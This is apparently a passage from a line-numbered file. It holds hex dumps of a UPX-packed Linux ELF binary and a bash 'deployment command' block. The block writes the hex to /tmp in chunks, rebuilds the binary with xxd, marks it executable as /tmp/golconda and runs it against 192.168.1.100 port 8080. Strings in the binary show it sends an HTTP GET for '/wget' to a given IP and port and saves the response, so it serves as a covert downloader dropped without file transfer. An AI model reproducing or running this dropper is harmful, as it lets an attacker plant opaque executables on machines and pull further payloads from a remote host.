8030000004c89e70f05b83c0000004831ff0f05bf0100000048be3b20400000000000ba1a000000b8010000000f05b83c000000bf010000000f05bf0100000048be5220400000000000ba12000000b8010000000f05b83c000000bf010000000f05bf0100000048be6620400000000000ba13000000b8010000000f05b83c000000bf010000000f054831c98a040e88040f48ffc184c075f3c34831c04831c9480fb6140f4885d274104883ea30486bc00a4801d048ffc1ebe6c34831c04831c94831d24c0fb6040f4d85c074234983f82e74104983e830486bd20a4c01c248ffc1ebe0881648ffc64831d248ffc1ebd38816c34831c04831c94831d24c0fb6040f4d85c074164983e8304983f809771b486bd20a4c01c248ffc1ebe04881faffff00007706b801000000c34831c0c34831c04831c94831d241b9000000004c0fb6040f4d85c074304983f82e74164983e8304983f8097735486bd20a4c01c248ffc1ebda4881faff0000007720 262 | ``` 263 | 264 | ``` 265 | 49ffc14831d248ffc1ebc64983f903750f4881faff0000007706b801000000c34831c0c37b0000007b00000000000000474554202f7767657420485454502f312e310d0a486f73743a2025733a25730d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a776765740055736167653a202573203c69703e203c706f72743e0a00496e76616c696420495020616464726573730a00496e76616c696420706f7274206e756d6265720a00000000000000c8000000140500005052e869020000555351524801fe564829fe4889fe4889d731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415b4180f8020f8587000000eb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843c0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e830ffffffeb83575e594889f04829c85a4829d75989395b5dc3681e0000005ae81e00000050524f545f455845437c50524f545f5752495445206661696c65642e0a005e6a025f6a01580f056a7f5f6a3c580f050a0024496e666f3a20546869732066696c65206973207061636b6564207769746820746865205550582065786563757461626c65207061636b657220687474703a2f2f7570782e73662e6e657420240a002449643a2055505820342e323220436f707972696768742028432920313939362d323032342074686520555058205465616d2e20416c6c205269676874732052657365727665642e20240a00905f29f66a02580f0550488db70f000000ad83e0fe4189c6565b8b16488d8df5ffffff448b394c29f94529f74901ce5f525057514d29c94183c8ff6a22415a525e6a035a29ff6a09580f054889442410505a535ead504889e14989d5ad50ad41904889f75effd559488b742418488b7c24106a055a6a0a580f0541ffe55de87effffff2f70726f632f73656c662f65786500c8000000150c00003808000002000000ffffffe5e84a0083f94975445357488d4c37fd5e565beb2f4839ce7332565efffbffffac3c80720a3c8f7706807efe0f74062ce83c0177e41b1656ad28d075ffffbfffdf5f0fc829f801d8ab1203acebdf5bc35841564157504889e64881ecfeedffdb001059545f6a0a59f348a548833e000575f84989fe48abb674b3cb0cfc0a0cf6ff02fedf6efff54d29fcbaff0f37575e8c7bed6a59580f0585c07905db6fffdf0e6a0f5891fd498d7dffb000aa1a740efff3a43befff6fdbf603c70720003d383e0ce7f84c89f94829e189c8316fdb5bfef883f00883e008c76f26083877f848ffedffefc1e903898d6708fc4b8d0c268b43fc23014801c141595e5fb7edd6be58af0877b9e25033c502e8e886ff 266 | ``` 267 | 268 | ``` 269 | d8dd50060e81c408154424205b498bb5a02cedcd606f65efe861076585db781fb6fbeeefffc94189d86a02596a015abef729ffe8050089dfe83a067dfb85ad5fbe0b19ff66f8b00959ca0fb6c0ddf7edbfd5483d00f0ffff72049dc8ffc3b9f221bccf9aee776f8ecee91431b03ceb02b00c030302ee9ba6690b0a0100ebbcccc32476fff6855177174c8b47e78d4aff730abf7f12e8c3ffd67edb54ff53f9ff74114167b8ffc949ffc08806db376c6f07c6ebe95b57121758c3415585d55e68b7db415404cc55d9fd53031683ec28bd37b81f8a0f84e6445f2410ba0c0917b65bd7e396518bff108b14148b7515beeb6eff81fe5550582175112f7d0030b526eb0485f675b6ffbbc180422e39c677f289c2483b1377eb0a48eb6eb7176808736c4954247d8b7dac4c08eb16b66e44501812c213d552c65eb7766bee485f1c2e75b8b72119847be1b7ffc90f95c231c04d85e407c085c2741d8afe00025fb6ad7d6177393933750f234e1a04c9355bb7dd357b0844d44014de45455ff7cdbd8c0d89f2b702c6e8dbfeba545b030a5bdb6c1d53d0486e18036277b4ff1125c4285b5d415c415dc3157bd1743686bfb0fd40f6c70175302d0fccf04c39c17412495b386bee010f9487df8608f50702c2b752774f0832c9101ec710ebd04fe1870ec757bcf85553fc55534dee71dbbe684c03672023f64b842434fdd6b6b6b53c78e14004dc3041afed176eee284c09228b38a7b75710744c096efc37b6470d01a52b78486683fa0275198b78c23b1aefb8702845315b2431d2b9329bbd6dff38043e8e48e8b0fdc366197f10023af7e6be74c60f85ac1c2af6e9a4074003a6d67dfc5638b984b80300231e85ffdbf6e60f44c89ccd4bdb31ff83c122ffca7821f4b8fdb66df11666466a39e8480f4203034658f8d6dd0939c30ad829c638ebdb77e5b6c7b6f0a93beb09c3a706e37adbb0fd10f6c1b40567eb13e6ed750e370adb56755ec7a610b0dc45c8b7b9b764b320dee807a807c7b9b6bfbf53038ebc4929eeba3800c70c1c85cdb0f19e47c0dc717c21de26fced0074231a3c2406751c49bb1330be03786ec39f7001f2e852d1e97e2a227c5dd75d9a85730a4935284167168b6effdf2d540454184062517383e107c1e102d36c0d8364bbf406db03075d4b2fd475435eecd0fd2b49035720e8efae493c1a3919ece305d4db13360482a175e7c70e1004cd9c3e6c0b2d09e12047f7c789fa68b8089b5b81e231f27cdfc78dd652167f29d506501210d84cee4f044c8d2c37350c4958adb6305b3202a442f02e9db33f5eb2fb0d63bf83caff1339c7c6dd7506bd3cb112a9d0ee4117367cba8689c1ae99fb6d39c51a20015b8c36095019206b3128df757f4fdb50c540e8f529f6820274164489edf71baee9cee6f7d9fc81e1b2f3aa4e7b0677b0fd7d84e0da53f5516fe1b769b83aff01ec2304c8ba095d84657b0372d098036549f80577736f903b5474f50a4a8d1c306dc27fef21d8f7d8255b83f803773a841987eec3f85c310c742d2effb92241ba8d727f2f0245745ce8c4fad45be0e67ebac3 270 | ``` 271 | 272 | ``` 273 | 74373889c703425a0c8116e17012ba9e8f1b6bb445786cb426db7413a611dac258efa00f17fee81cfc071827606dee21248b284e74b2dc5b8ddd8f0d4c3b26a6274c2906115e2cf72a929197db680bdd03ee3d28495b7512b87bdbe4b6604738c6c438390c0f8c40addd82f4e5ed2b304de36eaedf666d1c686110f0415e415f29d0e5165a2658ceee2b4d95da1b237fd5016d4053207236c6636b353f07070c2817b6f730f6bc2480d8744674d0983847dbfad829c23c302e04147ddbee183736c00c4de8259d415355e17760db4a7663d827f10537dbd8865b2875e859ebbe094dc219f7ba812b6d1fc49612fa415ae64e46da2c7d870c8f05f45d5a7881da037572c53f117d10fd7678a14e46e877f931a57817ba000484b7bbf446eed1e87214483d0f4ae157a23b441149944a4150431a22749b02c0ec578940d2c10df67e8b17be20868012ba858612ae133886570c564ee0769a45c50b8271a948d0224cd82de04a473d2c3112df39e553525657825b6050f8ad811b0c4b09930b07530a8b36e82bc062fb125831c3da0ab44bb452593f57566a2c34f08526b5c67401f0505749c98dffed0f51eb4e8b1e07eefc11db8a16f3c30182ffbf75b4f005fa2f7e058a10762083fdfc771b83e904816fbb878bae040889171d7f0473ef859568e26d041f740f48a417ab0bdb02ae0a158ff13bfc160812a5134b4fda5bf6bc65b7b6b51c04c75957750a67bdb0b7f872e68d410e12ffc81611c0fbf67f910f73ce83e803721dc1e060b6d209d05d5b7fa9902d968437f5efffd1b663fb21dd0bd443eb0e31087233ffc10f031bb209235fc91d30b22dda73e2d2af102278e03b6e34fd006f83d102e8e5c23090652b64d6d4e405cc208fe48a1b52f43e6101eceb0ec40f7523ffc13c4f96cae8d601e80e3e6c952c8302b6c2f2489ea1e0178ff304b095b9c03ec1b7c8361a116d02c4c18048f7dbf3b411c1e84dfdc0540000000000004002ff0000003e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff200200000e0000000200000000a10290000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff080300000e0000000200000000210092000000000000008004ff5d0100006c00000002000000daeddbff002e736873747274616209746578740564610c745365df0562737300000b030167c11ed60610104007063e9021bbb0032f103f119d0d365926203f20067bd60dd9902f040f1703083f39c820037c7b2c42014bd8227b00c002d8613f1c2f00000000c000200100ff0000000055505821000000000000555058210e16020a8d404bff8c7a421ed821000058110000d821000000000026bc000000 274 | ``` 275 | 276 | ```bash 277 | # 部署命令(将[HEX_PART_X]替换为对应的hex字符串) 278 | echo -n "7f454c4602010100000000000000000002003e00010000001875400000000000400000000000000000000000000000000000000040003800020000000000000001000000060000000000000000000000000040000000000000004000000000000010000000000000a86200000000000000100000000000000100000005000000000000000000000000704000000000000070400000000000e50f000000000000e50f00000000000000100000000000000ced208d55505821dc0a0e1600000000d82100003e030000e800000065000000020000001dfb21ff7f454c460201010002003e000d10404bf2368b0f050098200013811dbb7b380003050500042b0400002d214fd84007e80000576101fb660637050f6f6009f9b0073e03003713f6b07706088f2040077b002cec6016a842370000000000000012ff3e0300003e03000000000000584883f8030f85b501000058584989c6584989c74c89f648bf9060400000000000e80f0200004c89fe48bfa060400000000000e8fd01000048bfa060400000000000e8590200004885c00f84be01000048bf9060400000000000e87d0200004885c00f847f010000b829000000bf02000000be010000004831d20f054989c466c704257c204000020048bfa060400000000000e8ae01000086c4668904257e20400048bf906040000000000048be8020400000000000e8ac0100004831c04889042584204000b82a0000004c89e748be7c20400000000000ba100000000f05b82c0000004c89e748be0020400000000000ba000200004d31d24d31c04d31c90f05b80200000048bf3620400000000000be42000000baa40100000f054989c54d31f6b8000000004c89e748be8c20400000000000ba004000000f054885c07e624989c74d85f6754148b98c204000000000004889ca4c01fa4839d17dc581390d0a0d0a740548ffc1ebee41be010000004883c1044889ce48ba8c204000000000004c01fa4829caeb0d48be8c204000000000004c89fab8010000004c89ef0f05eb80b8030000004c89ef0f05b8030000004c89e70f05b83c0000004831ff0f05bf0100000048be3b20400000000000ba1a000000b8010000000f05b83c000000bf010000000f05bf0100000048be5220400000000000ba12000000b8010000000f05b83c000000bf010000000f05bf0100000048be6620400000000000ba13000000b8010000000f05b83c000000bf010000000f054831c98a040e88040f48ffc184c075f3c34831c04831c9480fb6140f4885d274104883ea30486bc00a4801d048ffc1ebe6c34831c04831c94831d24c0fb6040f4d85c074234983f82e74104983e830486bd20a4c01c248ffc1ebe0881648ffc64831d248ffc1ebd38816c34831c04831c94831d24c0fb6040f4d85c074164983e8304983f809771b486bd20a4c01c248ffc1ebe04881faffff00007706b801000000c34831c0c34831c04831c94831d241b9000000004c0fb6040f4d85c074304983f82e74164983e8304983f8097735486bd20a4c01c248ffc1ebda4881faff0000007720" > /tmp/hex.tmp 279 | echo -n "49ffc14831d248ffc1ebc64983f903750f4881faff0000007706b801000000c34831c0c37b0000007b00000000000000474554202f7767657420485454502f312e310d0a486f73743a2025733a25730d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a776765740055736167653a202573203c69703e203c706f72743e0a00496e76616c696420495020616464726573730a00496e76616c696420706f7274206e756d6265720a00000000000000c8000000140500005052e869020000555351524801fe564829fe4889fe4889d731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415b4180f8020f8587000000eb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843c0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e830ffffffeb83575e594889f04829c85a4829d75989395b5dc3681e0000005ae81e00000050524f545f455845437c50524f545f5752495445206661696c65642e0a005e6a025f6a01580f056a7f5f6a3c580f050a0024496e666f3a20546869732066696c65206973207061636b6564207769746820746865205550582065786563757461626c65207061636b657220687474703a2f2f7570782e73662e6e657420240a002449643a2055505820342e323220436f707972696768742028432920313939362d323032342074686520555058205465616d2e20416c6c205269676874732052657365727665642e20240a00905f29f66a02580f0550488db70f000000ad83e0fe4189c6565b8b16488d8df5ffffff448b394c29f94529f74901ce5f525057514d29c94183c8ff6a22415a525e6a035a29ff6a09580f054889442410505a535ead504889e14989d5ad50ad41904889f75effd559488b742418488b7c24106a055a6a0a580f0541ffe55de87effffff2f70726f632f73656c662f65786500c8000000150c00003808000002000000ffffffe5e84a0083f94975445357488d4c37fd5e565beb2f4839ce7332565efffbffffac3c80720a3c8f7706807efe0f74062ce83c0177e41b1656ad28d075ffffbfffdf5f0fc829f801d8ab1203acebdf5bc35841564157504889e64881ecfeedffdb001059545f6a0a59f348a548833e000575f84989fe48abb674b3cb0cfc0a0cf6ff02fedf6efff54d29fcbaff0f37575e8c7bed6a59580f0585c07905db6fffdf0e6a0f5891fd498d7dffb000aa1a740efff3a43befff6fdbf603c70720003d383e0ce7f84c89f94829e189c8316fdb5bfef883f00883e008c76f26083877f848ffedffefc1e903898d6708fc4b8d0c268b43fc23014801c141595e5fb7edd6be58af0877b9e25033c502e8e886ff" >> /tmp/hex.tmp 280 | echo -n "d8dd50060e81c408154424205b498bb5a02cedcd606f65efe861076585db781fb6fbeeefffc94189d86a02596a015abef729ffe8050089dfe83a067dfb85ad5fbe0b19ff66f8b00959ca0fb6c0ddf7edbfd5483d00f0ffff72049dc8ffc3b9f221bccf9aee776f8ecee91431b03ceb02b00c030302ee9ba6690b0a0100ebbcccc32476fff6855177174c8b47e78d4aff730abf7f12e8c3ffd67edb54ff53f9ff74114167b8ffc949ffc08806db376c6f07c6ebe95b57121758c3415585d55e68b7db415404cc55d9fd53031683ec28bd37b81f8a0f84e6445f2410ba0c0917b65bd7e396518bff108b14148b7515beeb6eff81fe5550582175112f7d0030b526eb0485f675b6ffbbc180422e39c677f289c2483b1377eb0a48eb6eb7176808736c4954247d8b7dac4c08eb16b66e44501812c213d552c65eb7766bee485f1c2e75b8b72119847be1b7ffc90f95c231c04d85e407c085c2741d8afe00025fb6ad7d6177393933750f234e1a04c9355bb7dd357b0844d44014de45455ff7cdbd8c0d89f2b702c6e8dbfeba545b030a5bdb6c1d53d0486e18036277b4ff1125c4285b5d415c415dc3157bd1743686bfb0fd40f6c70175302d0fccf04c39c17412495b386bee010f9487df8608f50702c2b752774f0832c9101ec710ebd04fe1870ec757bcf85553fc55534dee71dbbe684c03672023f64b842434fdd6b6b6b53c78e14004dc3041afed176eee284c09228b38a7b75710744c096efc37b6470d01a52b78486683fa0275198b78c23b1aefb8702845315b2431d2b9329bbd6dff38043e8e48e8b0fdc366197f10023af7e6be74c60f85ac1c2af6e9a4074003a6d67dfc5638b984b80300231e85ffdbf6e60f44c89ccd4bdb31ff83c122ffca7821f4b8fdb66df11666466a39e8480f4203034658f8d6dd0939c30ad829c638ebdb77e5b6c7b6f0a93beb09c3a706e37adbb0fd10f6c1b40567eb13e6ed750e370adb56755ec7a610b0dc45c8b7b9b764b320dee807a807c7b9b6bfbf53038ebc4929eeba3800c70c1c85cdb0f19e47c0dc717c21de26fced0074231a3c2406751c49bb1330be03786ec39f7001f2e852d1e97e2a227c5dd75d9a85730a4935284167168b6effdf2d540454184062517383e107c1e102d36c0d8364bbf406db03075d4b2fd475435eecd0fd2b49035720e8efae493c1a3919ece305d4db13360482a175e7c70e1004cd9c3e6c0b2d09e12047f7c789fa68b8089b5b81e231f27cdfc78dd652167f29d506501210d84cee4f044c8d2c37350c4958adb6305b3202a442f02e9db33f5eb2fb0d63bf83caff1339c7c6dd7506bd3cb112a9d0ee4117367cba8689c1ae99fb6d39c51a20015b8c36095019206b3128df757f4fdb50c540e8f529f6820274164489edf71baee9cee6f7d9fc81e1b2f3aa4e7b0677b0fd7d84e0da53f5516fe1b769b83aff01ec2304c8ba095d84657b0372d098036549f80577736f903b5474f50a4a8d1c306dc27fef21d8f7d8255b83f803773a841987eec3f85c310c742d2effb92241ba8d727f2f0245745ce8c4fad45be0e67ebac3" >> /tmp/hex.tmp 281 | echo -n "74373889c703425a0c8116e17012ba9e8f1b6bb445786cb426db7413a611dac258efa00f17fee81cfc071827606dee21248b284e74b2dc5b8ddd8f0d4c3b26a6274c2906115e2cf72a929197db680bdd03ee3d28495b7512b87bdbe4b6604738c6c438390c0f8c40addd82f4e5ed2b304de36eaedf666d1c686110f0415e415f29d0e5165a2658ceee2b4d95da1b237fd5016d4053207236c6636b353f07070c2817b6f730f6bc2480d8744674d0983847dbfad829c23c302e04147ddbee183736c00c4de8259d415355e17760db4a7663d827f10537dbd8865b2875e859ebbe094dc219f7ba812b6d1fc49612fa415ae64e46da2c7d870c8f05f45d5a7881da037572c53f117d10fd7678a14e46e877f931a57817ba000484b7bbf446eed1e87214483d0f4ae157a23b441149944a4150431a22749b02c0ec578940d2c10df67e8b17be20868012ba858612ae133886570c564ee0769a45c50b8271a948d0224cd82de04a473d2c3112df39e553525657825b6050f8ad811b0c4b09930b07530a8b36e82bc062fb125831c3da0ab44bb452593f57566a2c34f08526b5c67401f0505749c98dffed0f51eb4e8b1e07eefc11db8a16f3c30182ffbf75b4f005fa2f7e058a10762083fdfc771b83e904816fbb878bae040889171d7f0473ef859568e26d041f740f48a417ab0bdb02ae0a158ff13bfc160812a5134b4fda5bf6bc65b7b6b51c04c75957750a67bdb0b7f872e68d410e12ffc81611c0fbf67f910f73ce83e803721dc1e060b6d209d05d5b7fa9902d968437f5efffd1b663fb21dd0bd443eb0e31087233ffc10f031bb209235fc91d30b22dda73e2d2af102278e03b6e34fd006f83d102e8e5c23090652b64d6d4e405cc208fe48a1b52f43e6101eceb0ec40f7523ffc13c4f96cae8d601e80e3e6c952c8302b6c2f2489ea1e0178ff304b095b9c03ec1b7c8361a116d02c4c18048f7dbf3b411c1e84dfdc0540000000000004002ff0000003e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff200200000e0000000200000000a10290000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff080300000e0000000200000000210092000000000000008004ff5d0100006c00000002000000daeddbff002e736873747274616209746578740564610c745365df0562737300000b030167c11ed60610104007063e9021bbb0032f103f119d0d365926203f20067bd60dd9902f040f1703083f39c820037c7b2c42014bd8227b00c002d8613f1c2f00000000c000200100ff0000000055505821000000000000555058210e16020a8d404bff8c7a421ed821000058110000d821000000000026bc000000" >> /tmp/hex.tmp 282 | 283 | xxd -p -r /tmp/hex.tmp > /tmp/golconda && chmod +x /tmp/golconda && rm -f /tmp/hex.tmp && /tmp/golconda 192.168.1.100 8080' 284 | ``` 285 | 286 | --------------------------------------------------------------------------------